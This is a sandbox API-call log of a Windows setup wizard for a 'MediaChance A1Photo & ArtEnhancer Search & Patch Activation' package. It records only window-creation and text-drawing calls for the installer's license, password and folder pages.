[0261.820] PatBlt (hdc=0x24010b8b, x=0, y=0, w=32, h=32, rop=0xff0062) returned 1 [0261.820] DeleteDC (hdc=0x24010b8b) returned 1 [0261.820] ReleaseDC (hWnd=0x0, hDC=0x1f01019b) returned 1 [0261.820] CreateCompatibleDC (hdc=0x0) returned 0x25010b8b [0261.820] SelectObject (hdc=0x25010b8b, h=0x58050b62) returned 0x185000f [0261.820] MoveToEx (in: hdc=0x25010b8b, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1 [0261.820] UnrealizeObject (h=0xe100186) returned 1 [0261.820] SelectObject (hdc=0x25010b8b, h=0xe100186) returned 0x1900010 [0261.820] GetSysColor (nIndex=15) returned 0xf0f0f0 [0261.820] SetBkColor (hdc=0x25010b8b, color=0xf0f0f0) returned 0xffffff [0261.820] SetBkMode (hdc=0x25010b8b, mode=2) returned 2 [0261.820] FillRect (hDC=0x25010b8b, lprc=0x18fd24, hbr=0xe100186) returned 1 [0261.820] SelectObject (hdc=0x25010b8b, h=0x640a01f1) returned 0x18a002e [0261.820] GetSysColor (nIndex=8) returned 0x0 [0261.820] SetTextColor (hdc=0x25010b8b, color=0x0) returned 0x0 [0261.820] SelectObject (hdc=0x25010b8b, h=0x3c3001b3) returned 0x1b00017 [0261.821] SetROP2 (hdc=0x25010b8b, rop2=13) returned 13 [0261.821] DrawIconEx (hdc=0x25010b8b, xLeft=0, yTop=0, hIcon=0x901a9, cxWidth=32, cyWidth=32, istepIfAniCur=0x0, hbrFlickerFreeDraw=0x0, diFlags=0x3) returned 1 [0261.821] DestroyCursor (hCursor=0x901a9) returned 1 [0261.821] GetDC (hWnd=0x0) returned 0x1f01019b [0261.821] CreateFontIndirectA (lplf=0x18fe34) returned 0x510a018d [0261.821] SelectObject (hdc=0x1f01019b, h=0x510a018d) returned 0x18a002e [0261.821] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c8d0cc, cbMultiByte=89, lpWideCharStr=0x2c8d12c, cchWideChar=89 | out: lpWideCharStr="Welcome to the MediaChance A1Photo & ArtEnhancer Search & Patch Activation Setup Wizard\r\n") returned 89 [0261.821] DrawTextW (in: hdc=0x1f01019b, lpchText="Welcome to the MediaChance A1Photo & ArtEnhancer Search & Patch Activation Setup Wizard\r\n", cchText=89, lprc=0x18fe9c, format=0xd50 | out: lpchText="Welcome to the MediaChance A1Photo & ArtEnhancer Search & Patch Activation Setup Wizard\r\n", lprc=0x18fe9c) returned 72 [0261.921] ReleaseDC (hWnd=0x0, hDC=0x1f01019b) returned 1 [0261.923] GetDC (hWnd=0x0) returned 0x1f01019b [0261.923] SelectObject (hdc=0x1f01019b, h=0x290a06a6) returned 0x18a002e [0261.923] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c8d3a4, cbMultiByte=129, lpWideCharStr=0x2c8d42c, cchWideChar=129 | out: lpWideCharStr="Please read the following License Agreement. You must accept the terms of this agreement before continuing with the installation.") returned 129 [0261.923] DrawTextW (in: hdc=0x1f01019b, lpchText="Please read the following License Agreement. You must accept the terms of this agreement before continuing with the installation.", cchText=129, lprc=0x18fe9c, format=0xd50 | out: lpchText="Please read the following License Agreement. You must accept the terms of this agreement before continuing with the installation.", lprc=0x18fe9c) returned 26 [0261.924] ReleaseDC (hWnd=0x0, hDC=0x1f01019b) returned 1 [0261.924] GetDC (hWnd=0x0) returned 0x1f01019b [0261.924] SelectObject (hdc=0x1f01019b, h=0x290a06a6) returned 0x18a002e [0261.924] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c8d4c8, cbMultiByte=87, lpWideCharStr=0x2c8d524, cchWideChar=87 | out: lpWideCharStr="Please provide the password, then click Next to continue. Passwords are case-sensitive.") returned 87 [0261.924] DrawTextW (in: hdc=0x1f01019b, lpchText="Please provide the password, then click Next to continue. Passwords are case-sensitive.", cchText=87, lprc=0x18fe9c, format=0xd50 | out: lpchText="Please provide the password, then click Next to continue. Passwords are case-sensitive.", lprc=0x18fe9c) returned 26 [0261.924] ReleaseDC (hWnd=0x0, hDC=0x1f01019b) returned 1 [0261.924] GetDC (hWnd=0x0) returned 0x1f01019b [0261.925] SelectObject (hdc=0x1f01019b, h=0x290a06a6) returned 0x18a002e [0261.925] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c8d4c8, cbMultiByte=10, lpWideCharStr=0x2c8d4d8, cchWideChar=10 | out: lpWideCharStr="&Password:II⬐") returned 10 [0261.925] DrawTextW (in: hdc=0x1f01019b, lpchText="&Password:II⬐", cchText=10, lprc=0x18fe9c, format=0x550 | out: lpchText="&Password:II⬐", lprc=0x18fe9c) returned 13 [0261.925] ReleaseDC (hWnd=0x0, hDC=0x1f01019b) returned 1 [0261.925] GetDC (hWnd=0x0) returned 0x1f01019b [0261.925] SelectObject (hdc=0x1f01019b, h=0x290a06a6) returned 0x18a002e [0261.925] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c8cd9c, cbMultiByte=54, lpWideCharStr=0x2c8d568, cchWideChar=54 | out: lpWideCharStr="When you are ready to continue with Setup, click Next.II⨨") returned 54 [0261.925] DrawTextW (in: hdc=0x1f01019b, lpchText="When you are ready to continue with Setup, click Next.II⨨", cchText=54, lprc=0x18fe9c, format=0xd50 | out: lpchText="When you are ready to continue with Setup, click Next.II⨨", lprc=0x18fe9c) returned 13 [0261.925] ReleaseDC (hWnd=0x0, hDC=0x1f01019b) returned 1 [0261.925] GetDC (hWnd=0x0) returned 0x1f01019b [0261.925] SelectObject (hdc=0x1f01019b, h=0x290a06a6) returned 0x18a002e [0261.925] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c8d5fc, cbMultiByte=11, lpWideCharStr=0x2c7b3fc, cchWideChar=11 | out: lpWideCharStr="&User Name:") returned 11 [0261.925] DrawTextW (in: hdc=0x1f01019b, lpchText="&User Name:", cchText=11, lprc=0x18fe9c, format=0x550 | out: lpchText="&User Name:", lprc=0x18fe9c) returned 13 [0261.925] ReleaseDC (hWnd=0x0, hDC=0x1f01019b) returned 1 [0261.926] GetDC (hWnd=0x0) returned 0x1f01019b [0261.926] SelectObject (hdc=0x1f01019b, h=0x290a06a6) returned 0x18a002e [0261.926] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c7b404, cbMultiByte=14, lpWideCharStr=0x2c8d60c, cchWideChar=14 | out: lpWideCharStr="&Organization:II⧔") returned 14 [0261.926] DrawTextW (in: hdc=0x1f01019b, lpchText="&Organization:II⧔", cchText=14, lprc=0x18fe9c, format=0x550 | out: lpchText="&Organization:II⧔", lprc=0x18fe9c) returned 13 [0261.926] ReleaseDC (hWnd=0x0, hDC=0x1f01019b) returned 1 [0261.926] MulDiv (nNumber=12, nNumerator=6, nDenominator=6) returned 12 [0261.926] GetDC (hWnd=0x0) returned 0x1f01019b [0261.926] SelectObject (hdc=0x1f01019b, h=0x290a06a6) returned 0x18a002e [0261.926] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c8d754, cbMultiByte=105, lpWideCharStr=0x2c8d7c4, cchWideChar=105 | out: lpWideCharStr="Setup will install MediaChance A1Photo & ArtEnhancer Search & Patch Activation into the following folder.") returned 105 [0261.926] DrawTextW (in: hdc=0x1f01019b, lpchText="Setup will install MediaChance A1Photo & ArtEnhancer Search & Patch Activation into the following folder.", cchText=105, lprc=0x18fe9c, format=0xd50 | out: lpchText="Setup will install MediaChance A1Photo & ArtEnhancer Search & Patch Activation into the following folder.", lprc=0x18fe9c) returned 26 [0261.926] ReleaseDC (hWnd=0x0, hDC=0x1f01019b) returned 1 [0261.927] MulDiv (nNumber=13, nNumerator=13, nDenominator=13) returned 13 [0261.927] MulDiv (nNumber=12, nNumerator=13, nDenominator=13) returned 12 [0261.927] GetDC (hWnd=0x0) returned 0x1f01019b [0261.927] SelectObject (hdc=0x1f01019b, h=0x290a06a6) returned 0x18a002e [0261.927] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c8d7b4, cbMultiByte=86, lpWideCharStr=0x2c8d810, cchWideChar=86 | out: lpWideCharStr="To continue, click Next. If you would like to select a different folder, click Browse.II❀") returned 86 [0261.927] DrawTextW (in: hdc=0x1f01019b, lpchText="To continue, click Next. If you would like to select a different folder, click Browse.II❀", cchText=86, lprc=0x18fe9c, format=0xd50 | out: lpchText="To continue, click Next. If you would like to select a different folder, click Browse.II❀", lprc=0x18fe9c) returned 13 [0261.927] ReleaseDC (hWnd=0x0, hDC=0x1f01019b) returned 1 [0261.927] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0261.927] GetClassInfoA (in: hInstance=0x400000, lpClassName="TNewNotebook", lpWndClass=0x18fe64 | out: lpWndClass=0x18fe64) returned 1 [0261.927] CreateWindowExA (dwExStyle=0x0, lpClassName="TNewNotebook", lpWindowName="", dwStyle=0x46000000, X=0, Y=0, nWidth=497, nHeight=313, hWndParent=0xc0060, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x60050 [0261.928] SetWindowLongA (hWnd=0x60050, nIndex=-4, dwNewLong=2297748) returned 4274892 [0261.928] GetWindowLongA (hWnd=0x60050, nIndex=-16) returned 1174405120 [0261.928] GetWindowLongA (hWnd=0x60050, nIndex=-12) returned 0 [0261.928] SetWindowLongA (hWnd=0x60050, nIndex=-12, dwNewLong=393296) returned 0 [0261.928] SetPropA (hWnd=0x60050, lpString=0xc167, hData=0x2c83740) returned 1 [0261.928] SetPropA (hWnd=0x60050, lpString=0xc168, hData=0x2c83740) returned 1 [0261.928] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x81, wParam=0x0, lParam=0x18f9bc) returned 0x1 [0261.928] SelectObject (hdc=0x4401069b, h=0x185000f) returned 0x16050173 [0261.928] SelectObject (hdc=0x4401069b, h=0x1b00017) returned 0x3c3001b3 [0261.928] SelectObject (hdc=0x4401069b, h=0x1900015) returned 0xe100186 [0261.928] SelectObject (hdc=0x4401069b, h=0x18a002e) returned 0x640a01f1 [0261.928] GetCurrentPositionEx (in: hdc=0x4401069b, lppt=0x18f7b8 | out: lppt=0x18f7b8) returned 1 [0261.928] DeleteDC (hdc=0x4401069b) returned 1 [0261.928] SelectObject (hdc=0x25010b8b, h=0x185000f) returned 0x58050b62 [0261.928] SelectObject (hdc=0x25010b8b, h=0x1b00017) returned 0x3c3001b3 [0261.928] SelectObject (hdc=0x25010b8b, h=0x1900015) returned 0xe100186 [0261.928] SelectObject (hdc=0x25010b8b, h=0x18a002e) returned 0x640a01f1 [0261.928] GetCurrentPositionEx (in: hdc=0x25010b8b, lppt=0x18f7b8 | out: lppt=0x18f7b8) returned 1 [0261.929] DeleteDC (hdc=0x25010b8b) returned 1 [0261.929] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x83, wParam=0x0, lParam=0x18f9a8) returned 0x0 [0261.929] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x1, wParam=0x0, lParam=0x18f9bc) returned 0x0 [0261.929] IsIconic (hWnd=0x60050) returned 0 [0261.929] GetWindowRect (in: hWnd=0x60050, lpRect=0x18f7bc | out: lpRect=0x18f7bc) returned 1 [0261.929] GetWindowLongA (hWnd=0x60050, nIndex=-16) returned 1174405120 [0261.929] GetWindowLongA (hWnd=0x60050, nIndex=-8) returned 786528 [0261.929] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18f7bc | out: lpPoint=0x18f7bc) returned 1 [0261.929] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18f7c4 | out: lpPoint=0x18f7c4) returned 1 [0261.929] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x5, wParam=0x0, lParam=0x13901f1) returned 0x0 [0261.929] GetClientRect (in: hWnd=0x60050, lpRect=0x18f7e8 | out: lpRect=0x18f7e8) returned 1 [0261.929] IsRectEmpty (lprc=0x18f7e8) returned 0 [0261.929] IsRectEmpty (lprc=0x18f7e8) returned 0 [0261.929] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0261.930] IsIconic (hWnd=0x60050) returned 0 [0261.930] GetWindowRect (in: hWnd=0x60050, lpRect=0x18f7c0 | out: lpRect=0x18f7c0) returned 1 [0261.930] GetWindowLongA (hWnd=0x60050, nIndex=-16) returned 1174405120 [0261.930] GetWindowLongA (hWnd=0x60050, nIndex=-8) returned 786528 [0261.930] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18f7c0 | out: lpPoint=0x18f7c0) returned 1 [0261.930] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18f7c8 | out: lpPoint=0x18f7c8) returned 1 [0261.930] GetWindowThreadProcessId (in: hWnd=0x60050, lpdwProcessId=0x18f7cc | out: lpdwProcessId=0x18f7cc) returned 0x8cc [0261.930] GetCurrentProcessId () returned 0x8d0 [0261.930] GetPropA (hWnd=0x60050, lpString=0xc167) returned 0x2c83740 [0261.930] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0xbe10, wParam=0x500001, lParam=0x60050) returned 0x0 [0261.930] IsIconic (hWnd=0x60050) returned 0 [0261.930] GetWindowRect (in: hWnd=0x60050, lpRect=0x18fd8c | out: lpRect=0x18fd8c) returned 1 [0261.930] GetWindowLongA (hWnd=0x60050, nIndex=-16) returned 1174405120 [0261.930] GetWindowLongA (hWnd=0x60050, nIndex=-8) returned 786528 [0261.930] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0261.930] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18fd94 | out: lpPoint=0x18fd94) returned 1 [0261.930] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x30, wParam=0x290a06a6, lParam=0x1) returned 0x0 [0261.930] SetPropA (hWnd=0x60050, lpString=0xc167, hData=0x2c83740) returned 1 [0261.930] SetPropA (hWnd=0x60050, lpString=0xc168, hData=0x2c83740) returned 1 [0261.930] SetWindowPos (hWnd=0x60050, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0261.930] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x46, wParam=0x0, lParam=0x18fe50) returned 0x0 [0261.931] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0261.931] GetClassInfoA (in: hInstance=0x400000, lpClassName="TNewNotebookPage", lpWndClass=0x18fe6c | out: lpWndClass=0x18fe6c) returned 1 [0261.931] CreateWindowExA (dwExStyle=0x0, lpClassName="TNewNotebookPage", lpWindowName="", dwStyle=0x46000000, X=0, Y=0, nWidth=497, nHeight=313, hWndParent=0x60050, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0xb0168 [0261.931] SetWindowLongA (hWnd=0xb0168, nIndex=-4, dwNewLong=2297696) returned 4274892 [0261.931] GetWindowLongA (hWnd=0xb0168, nIndex=-16) returned 1174405120 [0261.931] GetWindowLongA (hWnd=0xb0168, nIndex=-12) returned 0 [0261.931] SetWindowLongA (hWnd=0xb0168, nIndex=-12, dwNewLong=721256) returned 0 [0261.931] SetPropA (hWnd=0xb0168, lpString=0xc167, hData=0x2c87dd8) returned 1 [0261.931] SetPropA (hWnd=0xb0168, lpString=0xc168, hData=0x2c87dd8) returned 1 [0261.931] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x81, wParam=0x0, lParam=0x18f9c4) returned 0x1 [0261.931] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x83, wParam=0x0, lParam=0x18f9b0) returned 0x0 [0261.932] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x1, wParam=0x0, lParam=0x18f9c4) returned 0x0 [0261.932] IsIconic (hWnd=0xb0168) returned 0 [0261.932] GetWindowRect (in: hWnd=0xb0168, lpRect=0x18f7c4 | out: lpRect=0x18f7c4) returned 1 [0261.932] GetWindowLongA (hWnd=0xb0168, nIndex=-16) returned 1174405120 [0261.932] GetWindowLongA (hWnd=0xb0168, nIndex=-8) returned 393296 [0261.932] ScreenToClient (in: hWnd=0x60050, lpPoint=0x18f7c4 | out: lpPoint=0x18f7c4) returned 1 [0261.932] ScreenToClient (in: hWnd=0x60050, lpPoint=0x18f7cc | out: lpPoint=0x18f7cc) returned 1 [0261.932] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x5, wParam=0x0, lParam=0x13901f1) returned 0x0 [0261.932] GetClientRect (in: hWnd=0xb0168, lpRect=0x18f7f0 | out: lpRect=0x18f7f0) returned 1 [0261.932] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0261.932] IsIconic (hWnd=0xb0168) returned 0 [0261.932] GetWindowRect (in: hWnd=0xb0168, lpRect=0x18f7c8 | out: lpRect=0x18f7c8) returned 1 [0261.932] GetWindowLongA (hWnd=0xb0168, nIndex=-16) returned 1174405120 [0261.932] GetWindowLongA (hWnd=0xb0168, nIndex=-8) returned 393296 [0261.932] ScreenToClient (in: hWnd=0x60050, lpPoint=0x18f7c8 | out: lpPoint=0x18f7c8) returned 1 [0261.932] ScreenToClient (in: hWnd=0x60050, lpPoint=0x18f7d0 | out: lpPoint=0x18f7d0) returned 1 [0261.932] GetWindowThreadProcessId (in: hWnd=0xb0168, lpdwProcessId=0x18f7ec | out: lpdwProcessId=0x18f7ec) returned 0x8cc [0261.932] GetCurrentProcessId () returned 0x8d0 [0261.932] GetPropA (hWnd=0xb0168, lpString=0xc167) returned 0x2c87dd8 [0261.932] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0xbe10, wParam=0x1680001, lParam=0xb0168) returned 0x0 [0261.933] IsIconic (hWnd=0xb0168) returned 0 [0261.933] GetWindowRect (in: hWnd=0xb0168, lpRect=0x18fd94 | out: lpRect=0x18fd94) returned 1 [0261.933] GetWindowLongA (hWnd=0xb0168, nIndex=-16) returned 1174405120 [0261.933] GetWindowLongA (hWnd=0xb0168, nIndex=-8) returned 393296 [0261.933] ScreenToClient (in: hWnd=0x60050, lpPoint=0x18fd94 | out: lpPoint=0x18fd94) returned 1 [0261.933] ScreenToClient (in: hWnd=0x60050, lpPoint=0x18fd9c | out: lpPoint=0x18fd9c) returned 1 [0261.933] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x30, wParam=0x290a06a6, lParam=0x1) returned 0x0 [0261.933] SetPropA (hWnd=0xb0168, lpString=0xc167, hData=0x2c87dd8) returned 1 [0261.933] SetPropA (hWnd=0xb0168, lpString=0xc168, hData=0x2c87dd8) returned 1 [0261.933] SetWindowPos (hWnd=0xb0168, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0261.933] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x46, wParam=0x0, lParam=0x18fe58) returned 0x0 [0261.933] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0261.933] GetClassInfoA (in: hInstance=0x400000, lpClassName="TNewNotebook", lpWndClass=0x18fe74 | out: lpWndClass=0x18fe74) returned 1 [0261.933] CreateWindowExA (dwExStyle=0x0, lpClassName="TNewNotebook", lpWindowName="", dwStyle=0x46000000, X=40, Y=72, nWidth=417, nHeight=237, hWndParent=0xb0168, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x40338 [0261.933] SetWindowLongA (hWnd=0x40338, nIndex=-4, dwNewLong=2297683) returned 4274892 [0261.934] GetWindowLongA (hWnd=0x40338, nIndex=-16) returned 1174405120 [0261.934] GetWindowLongA (hWnd=0x40338, nIndex=-12) returned 0 [0261.934] SetWindowLongA (hWnd=0x40338, nIndex=-12, dwNewLong=262968) returned 0 [0261.934] SetPropA (hWnd=0x40338, lpString=0xc167, hData=0x2c84e5c) returned 1 [0261.934] SetPropA (hWnd=0x40338, lpString=0xc168, hData=0x2c84e5c) returned 1 [0261.934] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x81, wParam=0x0, lParam=0x18f9cc) returned 0x1 [0261.934] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x83, wParam=0x0, lParam=0x18f9b8) returned 0x0 [0261.934] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x1, wParam=0x0, lParam=0x18f9cc) returned 0x0 [0261.934] IsIconic (hWnd=0x40338) returned 0 [0261.934] GetWindowRect (in: hWnd=0x40338, lpRect=0x18f7cc | out: lpRect=0x18f7cc) returned 1 [0261.934] GetWindowLongA (hWnd=0x40338, nIndex=-16) returned 1174405120 [0261.934] GetWindowLongA (hWnd=0x40338, nIndex=-8) returned 721256 [0261.934] ScreenToClient (in: hWnd=0xb0168, lpPoint=0x18f7cc | out: lpPoint=0x18f7cc) returned 1 [0261.934] ScreenToClient (in: hWnd=0xb0168, lpPoint=0x18f7d4 | out: lpPoint=0x18f7d4) returned 1 [0261.935] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x5, wParam=0x0, lParam=0xed01a1) returned 0x0 [0261.935] GetClientRect (in: hWnd=0x40338, lpRect=0x18f7f8 | out: lpRect=0x18f7f8) returned 1 [0261.935] IsRectEmpty (lprc=0x18f7f8) returned 0 [0261.935] IsRectEmpty (lprc=0x18f7f8) returned 0 [0261.935] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x3, wParam=0x0, lParam=0x480028) returned 0x0 [0261.935] IsIconic (hWnd=0x40338) returned 0 [0261.935] GetWindowRect (in: hWnd=0x40338, lpRect=0x18f7d0 | out: lpRect=0x18f7d0) returned 1 [0261.935] GetWindowLongA (hWnd=0x40338, nIndex=-16) returned 1174405120 [0261.935] GetWindowLongA (hWnd=0x40338, nIndex=-8) returned 721256 [0261.935] ScreenToClient (in: hWnd=0xb0168, lpPoint=0x18f7d0 | out: lpPoint=0x18f7d0) returned 1 [0261.935] ScreenToClient (in: hWnd=0xb0168, lpPoint=0x18f7d8 | out: lpPoint=0x18f7d8) returned 1 [0261.935] GetWindowThreadProcessId (in: hWnd=0x40338, lpdwProcessId=0x18f7f4 | out: lpdwProcessId=0x18f7f4) returned 0x8cc [0261.935] GetCurrentProcessId () returned 0x8d0 [0261.935] GetPropA (hWnd=0x40338, lpString=0xc167) returned 0x2c84e5c [0261.935] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0xbe10, wParam=0x3380001, lParam=0x40338) returned 0x0 [0261.935] IsIconic (hWnd=0x40338) returned 0 [0261.935] GetWindowRect (in: hWnd=0x40338, lpRect=0x18fd9c | out: lpRect=0x18fd9c) returned 1 [0261.935] GetWindowLongA (hWnd=0x40338, nIndex=-16) returned 1174405120 [0261.935] GetWindowLongA (hWnd=0x40338, nIndex=-8) returned 721256 [0261.935] ScreenToClient (in: hWnd=0xb0168, lpPoint=0x18fd9c | out: lpPoint=0x18fd9c) returned 1 [0261.935] ScreenToClient (in: hWnd=0xb0168, lpPoint=0x18fda4 | out: lpPoint=0x18fda4) returned 1 [0261.935] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x30, wParam=0x290a06a6, lParam=0x1) returned 0x0 [0261.935] SetPropA (hWnd=0x40338, lpString=0xc167, hData=0x2c84e5c) returned 1 [0261.936] SetPropA (hWnd=0x40338, lpString=0xc168, hData=0x2c84e5c) returned 1 [0261.936] SetWindowPos (hWnd=0x40338, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0261.936] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x46, wParam=0x0, lParam=0x18fe60) returned 0x0 [0261.936] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0261.936] GetClassInfoA (in: hInstance=0x400000, lpClassName="TNewNotebookPage", lpWndClass=0x18fe7c | out: lpWndClass=0x18fe7c) returned 1 [0261.936] CreateWindowExA (dwExStyle=0x0, lpClassName="TNewNotebookPage", lpWindowName=0x0, dwStyle=0x46000000, X=0, Y=0, nWidth=417, nHeight=237, hWndParent=0x40338, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x9024e [0261.936] SetWindowLongA (hWnd=0x9024e, nIndex=-4, dwNewLong=2297423) returned 4274892 [0261.936] GetWindowLongA (hWnd=0x9024e, nIndex=-16) returned 1174405120 [0261.936] GetWindowLongA (hWnd=0x9024e, nIndex=-12) returned 0 [0261.936] SetWindowLongA (hWnd=0x9024e, nIndex=-12, dwNewLong=590414) returned 0 [0261.936] SetPropA (hWnd=0x9024e, lpString=0xc167, hData=0x2c80054) returned 1 [0261.936] SetPropA (hWnd=0x9024e, lpString=0xc168, hData=0x2c80054) returned 1 [0261.936] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x9024e, Msg=0x81, wParam=0x0, lParam=0x18f9d4) returned 0x1 [0261.937] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x9024e, Msg=0x83, wParam=0x0, lParam=0x18f9c0) returned 0x0 [0261.937] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x9024e, Msg=0x1, wParam=0x0, lParam=0x18f9d4) returned 0x0 [0261.937] IsIconic (hWnd=0x9024e) returned 0 [0261.937] GetWindowRect (in: hWnd=0x9024e, lpRect=0x18f7d4 | out: lpRect=0x18f7d4) returned 1 [0261.937] GetWindowLongA (hWnd=0x9024e, nIndex=-16) returned 1174405120 [0261.937] GetWindowLongA (hWnd=0x9024e, nIndex=-8) returned 262968 [0261.937] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18f7d4 | out: lpPoint=0x18f7d4) returned 1 [0261.937] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18f7dc | out: lpPoint=0x18f7dc) returned 1 [0261.937] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x9024e, Msg=0x5, wParam=0x0, lParam=0xed01a1) returned 0x0 [0261.937] GetClientRect (in: hWnd=0x9024e, lpRect=0x18f800 | out: lpRect=0x18f800) returned 1 [0261.937] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x9024e, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0261.937] IsIconic (hWnd=0x9024e) returned 0 [0261.937] GetWindowRect (in: hWnd=0x9024e, lpRect=0x18f7d8 | out: lpRect=0x18f7d8) returned 1 [0261.937] GetWindowLongA (hWnd=0x9024e, nIndex=-16) returned 1174405120 [0261.937] GetWindowLongA (hWnd=0x9024e, nIndex=-8) returned 262968 [0261.937] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18f7d8 | out: lpPoint=0x18f7d8) returned 1 [0261.937] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18f7e0 | out: lpPoint=0x18f7e0) returned 1 [0261.938] GetWindowThreadProcessId (in: hWnd=0x9024e, lpdwProcessId=0x18f7fc | out: lpdwProcessId=0x18f7fc) returned 0x8cc [0261.938] GetCurrentProcessId () returned 0x8d0 [0261.938] GetPropA (hWnd=0x9024e, lpString=0xc167) returned 0x2c80054 [0261.938] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x9024e, Msg=0xbe10, wParam=0x24e0001, lParam=0x9024e) returned 0x0 [0261.938] IsIconic (hWnd=0x9024e) returned 0 [0261.938] GetWindowRect (in: hWnd=0x9024e, lpRect=0x18fda4 | out: lpRect=0x18fda4) returned 1 [0261.938] GetWindowLongA (hWnd=0x9024e, nIndex=-16) returned 1174405120 [0261.938] GetWindowLongA (hWnd=0x9024e, nIndex=-8) returned 262968 [0261.938] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18fda4 | out: lpPoint=0x18fda4) returned 1 [0261.938] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18fdac | out: lpPoint=0x18fdac) returned 1 [0261.938] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x9024e, Msg=0x30, wParam=0x290a06a6, lParam=0x1) returned 0x0 [0261.938] SetPropA (hWnd=0x9024e, lpString=0xc167, hData=0x2c80054) returned 1 [0261.938] SetPropA (hWnd=0x9024e, lpString=0xc168, hData=0x2c80054) returned 1 [0261.938] SetWindowPos (hWnd=0x9024e, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0261.938] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x9024e, Msg=0x46, wParam=0x0, lParam=0x18fe68) returned 0x0 [0261.938] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0261.938] GetClassInfoA (in: hInstance=0x400000, lpClassName="EDIT", lpWndClass=0x18fe04 | out: lpWndClass=0x18fe04) returned 1 [0261.938] GetClassInfoA (in: hInstance=0x400000, lpClassName="TEdit", lpWndClass=0x18fe6c | out: lpWndClass=0x18fe6c) returned 0 [0261.939] RegisterClassA (lpWndClass=0x18fe04) returned 0x38c1dc [0261.939] CreateWindowExA (dwExStyle=0x200, lpClassName="TEdit", lpWindowName="DirEdit", dwStyle=0x440100c0, X=0, Y=68, nWidth=397, nHeight=21, hWndParent=0x9024e, hMenu=0x0, hInstance=0x400000, lpParam=0x0) 